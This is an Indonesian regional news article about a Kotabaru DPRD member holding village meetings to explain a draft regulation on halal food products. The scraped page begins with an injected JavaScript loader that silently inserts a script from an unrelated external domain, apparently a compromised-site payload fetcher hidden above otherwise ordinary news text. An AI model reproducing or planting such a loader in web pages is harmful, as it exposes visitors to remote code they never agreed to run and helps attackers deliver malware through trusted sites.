(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Beri Pemahaman Soal Raperda, Anggota DPRD Kotabaru Datangi Warga


KANALKALIMANTAN.COM, KOTABARU – Salah satu anggota DPRD Kotabaru dari Partai Amanat Nasional, Rahmad menyambangi masyarakat yang ada di daerah pemilihannya guna menyosialisasikan Rancangan Peraturan Daerah (Raperda) yang akan dibahas di tingkat legislatif untuk dijadikan sebagai produk hukum yakni Peraturan Daerah (Perda).

Kegiatan berlangsung selama 3 hari, yakni 11 – 13 Oktober 2024 di berbagai desa seperti, Desa Balimea, Desa Mulyoharho yang ada di Kecamatan Pamukan Utara, dan secara geografis berbatasan langsung dengan kabupaten yang ada di Provinsi Kalimantan Timur.

Adapun Raperda yang disampaikannya terkiat dengan produk makanan halal yang mana merupakan inisiatif dari kalangan anggota DPRD yang disampaikan di dalam rapat paripurna beberapa waktu lalu.

Baca juga: Godaan Dugaan Politik Uang Pilwali Banjarbaru

Kepada Kanalkalimantan.com, Senin (14/10/24), Rahmad menjelaskan bahwa, pada prinsipnya, dia sebagai anggota dewan berkewajiban menyampaikan Raperda yang nantinya akan disahkan sebagai Perda.

Dia mengaku khawatir masyarakat tidak mengetahui isi dari produk hukum yang nantinya menjadi Perda, terlebih manfaatnya untuk masyarakat itu sendiri.

“Karena Raperda tentang produk makanan halal ini adalah Raperda inisiatif dewan. Maka sudah barang tentu azaz manfaatnya wajib langsung dirasakan dan sebagai dasar hukum untuk masyarakat sebagai pemilik-pemilik usaha mikro kecil dan menengah agar punya label serta bandrol halal yang diakui oleh pemerintah daerah,” tutur dia.

Baca juga: Tim Pemenangan Muhidin-Hasnur Dikukuhkan, Pasang Saksi di Seluruh TPS

Lebih jauh dia mengatakan, jangan sampai produk Raperda tersebut secara tiba-tiba ada dan masyarakat tidak mengetahuinya. Tentu hal itu sama sekali tidak diinginkan terjadi karena untuk kepentingan masyarakat banyak.

“Seperti contohnya adalah Perda mengenai sarang burung walet, yang bisa dibilang stagnan atau tidak jalan yang kemungkinan besar hal itu juga karena ketidaktahuan masyarakat atau bahkan dari sisi penerapannya di anggap merugikan masyarakat, sehingga kurang optimal dalam penerapannya,” jelas dia.

Oleh karenanya, tegas dia, wajib semua Raperda mesti di sosialisasikan terlebih dahulu yang tujuannya agar masyarakat mengetahui secara pasti apa-apa saja yang terkandung didalam produk hukum tersebut, sebelum akhirnya nanti di sahkan menjadi Perda.

Baca juga: Mantan Kadishut Kalsel Calon Menteri Kabinet Prabowo-Gibran

Anggota dari Badan Pembentukan Peraturan Daerah (Bapemperda) di DPRD tepatnya dari fraksi PAN, serta dari Komisi III ini berharap kegiatan sosialisasi semacam itu akan terus dilakukan oleh kalangan anggota DPRD untuk kepentingan bersama dan sebagai perpanjangan tangan dari masyarakat luas.

“Sekali lagi saya yang kebetulan di dalam struktur AKD DPRD Kotabaru tergabung didalam Bapemperda, tentu hal seperti ini menjadi salah satu kewajiban kita bersama untuk melaksanakan sosialisasi kepada masyarakat agar mereka juga mengetahui aturan-aturan yang akan dibuat,” imbuh dia.

Sementara, Darmudianto Alinarkum selaku Kepala Desa Balimea, sangat menyambut baik dan antusias ada perwakilan dan satu-satunya putra terbaik dari Kecamatan Pamukan Utara yang menjadi wakil rakyat.

Dia berharap ada perpanjangan tangan untuk memperjuangkan kesejahteraan dan kemajuan di wilayahnya.

Baca juga: Maut di Warung Malam Liang Anggang, AG Diringkus Polisi

“Terkait dengan sosialisasi ini, menurut saya sangat baik sekali, dari sini kami sebagai warga mengetahui tentang produk aturan yang nantinya akan di sahkan. Selain itu, secara tidak langsung masyarakat juga mengetahui.

Sekali lagi saya ucapkan, kami bangga dan senang ada perwakilan kami yang duduk di DPRD, mudah-mudahan hal itu menjadi salah satu kemajuan yang baik bagi seluruh warga pada umumnya,” ujar dia. (Kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: Dhani


Risa

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

4 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

5 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

5 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.